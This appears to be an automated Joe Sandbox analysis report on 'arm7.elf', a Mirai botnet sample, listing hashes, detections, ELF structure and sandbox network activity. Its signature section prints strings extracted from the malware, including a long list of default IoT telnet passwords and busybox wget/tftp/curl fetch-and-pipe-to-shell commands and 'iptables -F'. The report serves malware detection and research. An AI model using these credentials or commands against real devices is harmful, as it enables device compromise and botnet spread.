Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:arm7.elf
Analysis ID:1585645
MD5:c7aa1e22da853a1241470870c530eb8f
SHA1:a57bbcc2bd76f55b7fbc602ba5367976477af3e2
SHA256:60484c21d197f8e2cb0fe4c459acfc65ee6bed090f9b34e422885d97f70eab24
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585645
Start date and time:2025-01-07 23:32:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 21s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm7.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0

Warnings

  • VT rate limit hit for: arm7.elf

Runtime Messages

Command:/tmp/arm7.elf
PID:5430
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • arm7.elf (PID: 5430, Parent: 5356, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
arm7.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5430.1.00007ff06c017000.00007ff06c035000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: arm7.elfReversingLabs: Detection: 23%
      Source: arm7.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68kHD
      Source: /tmp/arm7.elf (PID: 5430)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: arm7.elfString found in binary or memory: http:///curl.sh
      Source: arm7.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//v
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/11/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/22/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/55/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/66/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/88/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/99/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/111/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/222/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/333/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/33333/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/777/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/888/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/11111/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)File opened: /proc/999/mapsJump to behavior
      Source: /tmp/arm7.elf (PID: 5430)Queries kernel information via 'uname': Jump to behavior
      Source: arm7.elf, 5430.1.000056437c348000.000056437c497000.rw-.sdmpBinary or memory string: 5|CV!/etc/qemu-binfmt/arm
      Source: arm7.elf, 5430.1.000056437c348000.000056437c497000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: arm7.elf, 5430.1.00007ffe013c1000.00007ffe013e2000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: arm7.elf, 5430.1.00007ffe013c1000.00007ffe013e2000.rw-.sdmpBinary or memory string: [Kx86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
      Source: arm7.elf, 5430.1.00007ffe013c1000.00007ffe013e2000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: arm7.elf, type: SAMPLE
      Source: Yara matchFile source: 5430.1.00007ff06c017000.00007ff06c035000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: arm7.elf, type: SAMPLE
      Source: Yara matchFile source: 5430.1.00007ff06c017000.00007ff06c035000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path InterceptionDirect Volume Access1
      OS Credential Dumping      		11
      Security Software Discovery      		Remote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      arm7.elf24%ReversingLabsLinux.Trojan.Mirai

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.24
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.sharm7.elffalse
          		high
          http:///curl.sharm7.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comarm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            gigops.arm4.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            gigops.arm5.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            gigops.i686.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            gigops.mpsl.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            gigops.mips.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            miori.arc.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            botnet.mips.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.090375591036992
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:arm7.elf
            File size:122'840 bytes
            MD5:c7aa1e22da853a1241470870c530eb8f
            SHA1:a57bbcc2bd76f55b7fbc602ba5367976477af3e2
            SHA256:60484c21d197f8e2cb0fe4c459acfc65ee6bed090f9b34e422885d97f70eab24
            SHA512:6208367619473473f4e4f6bfb7c501318b19527f599e54d57e57cd1435bdfc33cb2ead31eb25ef1d091e5aeb93acca3a6b44cc6164549ccac2efd9fbac7974ab
            SSDEEP:3072:iBxb7VJt+N4FGuQ9wW0Pbua5Lbhq/6fXa88npah0p8KKupD8An/r:i3b7VJtugpZPpbk6/a88npah07Ki
            TLSH:42C3F75AF9819F11D5D616BFFE4F4289332367A8E3DF3202DD146B2126CA56B0E7B402
            File Content Preview:.ELF..............(.........4...........4. ...(........p ... X.. X..................................8...8...............8...8...8........t..............<...<...<...................Q.td..................................-...L..................@-.,@...0....S

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x8194
            Flags:0x4000002
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:5
            Section Header Offset:122240
            Section Header Size:40
            Number of Section Headers:15
            Header String Table Index:14

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80d40xd40x100x00x6AX004
            .textPROGBITS0x80f00xf00x1a4ec0x00x6AX0016
            .finiPROGBITS0x225dc0x1a5dc0x100x00x6AX004
            .rodataPROGBITS0x225f00x1a5f00x32180x00x2A008
            .ARM.extabPROGBITS0x258080x1d8080x180x00x2A004
            .ARM.exidxARM_EXIDX0x258200x1d8200x1180x00x82AL204
            .eh_framePROGBITS0x2d9380x1d9380x40x00x3WA004
            .tbssNOBITS0x2d93c0x1d93c0x80x00x403WAT004
            .init_arrayINIT_ARRAY0x2d93c0x1d93c0x40x00x3WA004
            .fini_arrayFINI_ARRAY0x2d9400x1d9400x40x00x3WA004
            .gotPROGBITS0x2d9480x1d9480xa80x40x3WA004
            .dataPROGBITS0x2d9f00x1d9f00x31c0x00x3WA004
            .bssNOBITS0x2dd0c0x1dd0c0x70dc0x00x3WA004
            .shstrtabSTRTAB0x00x1dd0c0x730x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            EXIDX0x1d8200x258200x258200x1180x1184.42780x4R 0x4.ARM.exidx
            LOAD0x00x80000x80000x1d9380x1d9386.10290x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
            LOAD0x1d9380x2d9380x2d9380x3d40x74b04.39720x6RW 0x8000.eh_frame .tbss .init_array .fini_array .got .data .bss
            TLS0x1d93c0x2d93c0x2d93c0x00x80.00000x4R 0x4.tbss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

            Network Behavior

            Network Port Distribution

            UDP Packets

            TimestampSource PortDest PortSource IPDest IP
            Jan 7, 2025 23:32:55.559860945 CET4539553192.168.2.138.8.8.8
            Jan 7, 2025 23:32:55.559905052 CET3778753192.168.2.138.8.8.8
            Jan 7, 2025 23:32:55.566265106 CET53377878.8.8.8192.168.2.13
            Jan 7, 2025 23:32:55.566694021 CET53453958.8.8.8192.168.2.13

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 7, 2025 23:32:55.559860945 CET192.168.2.138.8.8.80x398fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 7, 2025 23:32:55.559905052 CET192.168.2.138.8.8.80x622eStandard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 7, 2025 23:32:55.566694021 CET8.8.8.8192.168.2.130x398fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 7, 2025 23:32:55.566694021 CET8.8.8.8192.168.2.130x398fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            General

            Start time (UTC):22:32:52
            Start date (UTC):07/01/2025
            Path:/tmp/arm7.elf
            Arguments:/tmp/arm7.elf
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities